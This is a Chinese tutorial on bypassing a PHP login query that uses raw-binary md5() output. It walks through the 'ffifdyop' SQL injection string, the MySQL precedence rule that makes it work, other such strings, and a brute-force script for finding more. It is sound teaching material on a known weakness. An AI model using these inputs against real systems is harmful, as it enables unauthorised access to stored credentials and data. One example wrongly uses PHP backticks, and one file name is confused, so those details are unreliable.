文章目录
- 参考
- 环境
- 推荐阅读
- 雾现
- 两个 PHP 文件
- 表结构
- 分析
- 雾散
- ASCII 编码
- 二进制数据到 ASCII 文本的转化
- 绕过原理
- ffifdyop
- 绕过
- ffifdyop 的批量化生产
- 批量化生产
- 注意事项
- 细节
- 一字之差
- 运算符优先级
- 实际需要遵守的规则
- 生产机器
参考
项目 | 描述 |
---|---|
搜索引擎 | Bing、Google |
AI 大模型 | 文心一言、通义千问、讯飞星火认知大模型、ChatGPT |
PHP 手册 | PHP Manual |
MySQL Documentation | https://dev.mysql.com/doc/ |
菜鸟教程 | MySQL 教程 |
C 语言中文网 | PHP正则表达式,看这一篇就够了 |
环境
项目 | 描述 |
---|---|
PHP | 8.0.0 |
SQL Version | 8.0.33 MySQL Community Server - GPL |
推荐阅读
项目 | 描述 |
---|---|
CSDN | MD5 绕过第一式:弱比较绕过 |
CSDN | MD5 绕过第二式:数组绕过 |
雾现
两个 PHP 文件
db_info.php
<?php
// 定义与数据库相关的常量
# 提供运行 MySQL 服务的服务器地址
const HOSTNAME = 'localhost';
# 登录 MySQl 服务器使用的用户名
const USERNAME = 'root';
# 登录用户 root 的密码
const PASSWORD = '123456';
# 连接 MySQL 后需要使用到的数据库
const DATABASE = 'db_test';
search.php
<?php
# 包含文件以获取登录服务器所需要使用到的常量
include_once('./db_info.php');
# 模拟用户输入
$user_input = 'User Input';
# 尝试连接数据库,若连接失败则立即终止程序
$db = mysqli_connect(HOSTNAME, USERNAME, PASSWORD, DATABASE) or die();
# 构造 SQL 查询语句
$qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
# 向 MySQL 发起查询操作
$result = mysqli_query($db, $qs);
# 向 MySQL 获取查询结果
while ($content = mysqli_fetch_assoc($result)) {
var_dump($content);
}
上述 PHP 代码分别是 db_info.php
与 search.php
文件中的内容。其中,db_info.php
文件保存了通过 PHP 插件 mysqli
连接 MySQL 所需要的信息。而 test.php
则尝试连接 MySQL,并在连接后向 MySQL 发起查询以获取所需要的数据。
表结构
在本示例中,我们使用到的数据库是 db_test
,使用到的表是 data
。
在终端中使用如下语句以获取表 data
的创建信息:
SHOW CREATE TABLE data\G
得到如下内容:
*************************** 1. row ***************************
Table: data
Create Table: CREATE TABLE `data` (
`username` varchar(25) DEFAULT NULL,
`password` varbinary(16) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci
1 row in set (0.00 sec)
由输出可知,data
中包含两个字段,分别为 username
与 password
。username
使用 varchar(25)
作为其数据类型,这意味着 username
字段至多可以接受 25
个 字符
作为该字段的值。而 password
使用 binary(16)
作为其数据类型,着意味着 password
字段至多可以接收 16
字节的 二进制数据
作为该字段的值。
尝试查询 data 表中的所有数据
在终端中执行如下语句:
SELECT * FROM data;
得到如下结果:
+----------+------------------------------------+
| username | password |
+----------+------------------------------------+
| admin | 0x1E6947AC7FB3A9529A9726EB692C8CC5 |
| RedHeart | 0xDC04139732D12110E885BA1C703B3C42 |
+----------+------------------------------------+
2 rows in set (0.00 sec)
分析
在 search.php
文件中,我们的重点是如下代码片段。
# 构造 SQL 查询语句
$qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
# 向 MySQL 发起查询操作
$result = mysqli_query($db, $qs);
search.php
尝试向 MySQL 发起查询,向 data
表中查询 username
字段为 admin
以及 password
为 md5($user_input, true)
函数的二进制加密结果的行记录。其中,$user_input
变量用于模拟用户的输入。我们的目标便是 通过构造合适的用户输入,使得查询操作能够获取到 data 表中的所有内容
。
注:
在现代科技的攻势下,MD5 的哈希结果已经能够在 数小时内找到能够产生哈希碰撞的另一原始数据值
🧙🏻♂️,所以请使用安全系数更高的哈希函数来加密密码吧。
雾散
ASCII 编码
ASCII(American Standard Code for Information Interchange)
是一种字符编码标准,用于 将文本字符映射到数值
。ASCII
最早🤞在计算机领域中广泛使用,它定义了 128
个不同的字符,包括 控制字符(如换行和回车)
以及 可打印字符(如字母、数字、标点符号等)
。ASCII 定义的每个字符都被分配了一个 唯一的整数值
,范围从 0
到 127
。
注:
世界上存在许多的编码方案,但这些方案大多是 基于 ASCII 编码进行扩展的
🌹,因此 ASCII
编码也被认为是 字符编码的基础
。
二进制数据到 ASCII 文本的转化
PHP 中的 md5()
函数在第二个参数为 true
时会将 MD5 哈希结果以二进制数据
的形式进行返回,因 MD5 函数的返回值类型为 字符串
,故在返回结果前,二进制数据将使用 ASCII 进行 解码(二进制数据到文本字符的转化)
。对此,请参考如下示例:
<?php
var_dump(md5('Hello World', true));
执行效果
其中:
- 由四边形包裹的问号
一个字节能够表示的十进制数的范围为0~255
,而 ASCII 中的字符的编号范围为0~127
,两者的范围不对等。因此,当一个字节所表示的十进制数在128~255
时,该字节将使用四边形包裹的问号(不同的环境可能有不同的表现方式)
表示。 - ASCII 字符
字节的十进制数表示
在0~127
时,均使用 ASCII 中相应的字符进行表示。 - 小而多(容量大,包含几个字符)的方块字
ASCII 字符中存在一部分控制字符
,这些字符起着控制作用,由于没有这些字符的具体表现形式
,所以使用表示这些控制字符的英文缩写的方块字
来展现这些字符。 - 在上述内容中存在一个换行,这是由于某个字节转化为 ASCII 字符后得到了
可打印字符——换行符
所产生的效果。
绕过原理
二进制数据会被转化为 ASCII 字符✨,如果某一个字符串在经过 MD5 哈希后,得到的二进制数据转化为 ASCII 文本后恰能够与周围的文本形成 SQL 注入语句
,那么我们就能够绕过限制,成功发起攻击😈。
ffifdyop
在此类绕过实践中,ffifdyop
就是一个得力的工具。对此,请参考如下示例:
<?php
var_dump(md5('ffifdyop', true));
执行效果
string(16) "'or'6�]��!r,��b"
ffifdyop
经过两次转化后得到的结果是 'or'6�]��!r,��b
。位于 or
两侧的单引号可以用于闭合两端的单引号,使得 or
不再被 MySQL 认为是字符串,而是一个关键字,发挥着 逻辑或运算符
的作用。
绕过
尝试将 search.php
文件中的 $user_input
赋值为 ffifdyop
。
<?php
# 包含文件以获取登录服务器所需要使用到的常量
include_once('./db_info.php');
# 模拟用户输入
$user_input = 'ffifdyop';
# 尝试连接数据库,若连接失败则立即终止程序
$db = mysqli_connect(HOSTNAME, USERNAME, PASSWORD, DATABASE) or die();
# 构造 SQL 查询语句
$qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
# 输出构造结果,便于分析
var_dump($qs);
# 向 MySQL 发起查询操作
$result = mysqli_query($db, $qs);
# 向 MySQL 获取查询结果
while ($content = mysqli_fetch_assoc($result)) {
var_dump($content);
}
执行效果
由于 WHERE
关键字后的条件语句 username = '' and password =''or'6�]��!r,��b'
对于表中的每一个字段都为 true
,因此我们成功的实现了 SQL
注入,获得了 data
表中的所有数据。
string(77) "SELECT * FROM data WHERE username = 'admin' and password =''or'6�]��!r,��b';"
array(2) {
["username"]=>
string(5) "admin"
["password"]=>
string(16) "iG���R��&�i,��"
}
array(2) {
["username"]=>
string(8) "RedHeart"
["password"]=>
string(16) "��2�!腺p;<B"
}
ffifdyop 的批量化生产
批量化生产
除了 ffifdyop
外,还存在许多类似的文本。对此,请参考如下示例:
<?php
var_dump(md5(`16529176061`, true));
var_dump(md5(5207660362, true));
var_dump(md5('ffifdyop', true));
执行效果
string(16) "'OR'1q1uMp$��7"
string(16) "@;-V'or'2�9D��"
string(16) "'or'6�]��!r,��b"
要获得更多像 ffifdyop
这样的文本仅需要编写适当的程序。这个程序需要 产生许多文本并在随后对这些文本进行 MD5 哈希及 ASCII 的转化,最后设计从中挑选符合某一规则的文本
即可。至于需要符合的某一规则,可以是包含 ' or '
的文本👹。
注意事项
细节
一字之差
在继续讲解前,请先观察如下两条 SQL 语句及其查询结果:
mysql> SELECT * FROM data WHERE username = 'admin' and password = 'Random' or '1Hello';
+----------+------------------------------------+
| username | password |
+----------+------------------------------------+
| admin | 0x1E6947AC7FB3A9529A9726EB692C8CC5 |
| RedHeart | 0xDC04139732D12110E885BA1C703B3C42 |
+----------+------------------------------------+
2 rows in set, 1 warning (0.00 sec)
mysql> SELECT * FROM data WHERE username = 'admin' and password = 'Random' or 'Hello';
Empty set, 1 warning (0.00 sec)
两条 SQL 查询语句 仅仅存在一字之差
。使用 '1Hello'
却成功实现了 SQL注入
,而使用 'Hello'
却什么也没有获得。
运算符优先级
在 MySQL 中,运算符之间是存在优先级的。在进行运算过程中,运算符优先级更高的运算优先进行。在同时存在 =
、and
及 or
的运算中,MySQL 将优先处理 =
,其次 and
,最后 or
。
username = 'admin' and password = 'Random' or 'Hello'
在上述运算中,username = 'admin'
与 password = 'Random'
将被优先运算,但由于字段与相应字段值均不相符,故两者的运算结果均为 false
。false and false
的结果也是 false
。最后,false or 'Hello'
该如何进行?
在 false or 'Hello'
中,'Hello'
将被转化为布尔值。依据 MySQL 相关的转化规则,以 非零数值开头的字符串
都将被转化为 true
,其他字符串则被转化为 false
。于是一字之差决定了成败🧐。
实际需要遵守的规则
因此在 ffifdyop
的批量化生产中,挑选的规则不是只是包含 ' or '
的文本,而应该是:
包含 ' or '
的文本,且 第二个引号的右侧的第一个字符需要是数字字符(0 ~ 9)
。
生产机器
依据 类 ffifdyop 文本
的挑选规则,我们编写了如下 PHP 脚本:
<?php
const MAX_EDGE = 9999999999;
for ($i=0; $i<MAX_EDGE; $i++) {
if (preg_match("/'\s*or\s*'\d+/i", md5($i, true))) {
print("\n" . $i . "\n");
} else {
# pass
}
}
在上述文本中,我们尝试通过使用循环变量 $i
作为可能的 ffifdyop
文本。在每一轮循环中,我们都将通过 preg_match()
提供的 正则表达式
来判断 $i
的 MD5 哈希结果值的 ASCII 形式
中是否符合 规定的文本模式
,若符合则将其输出至终端中。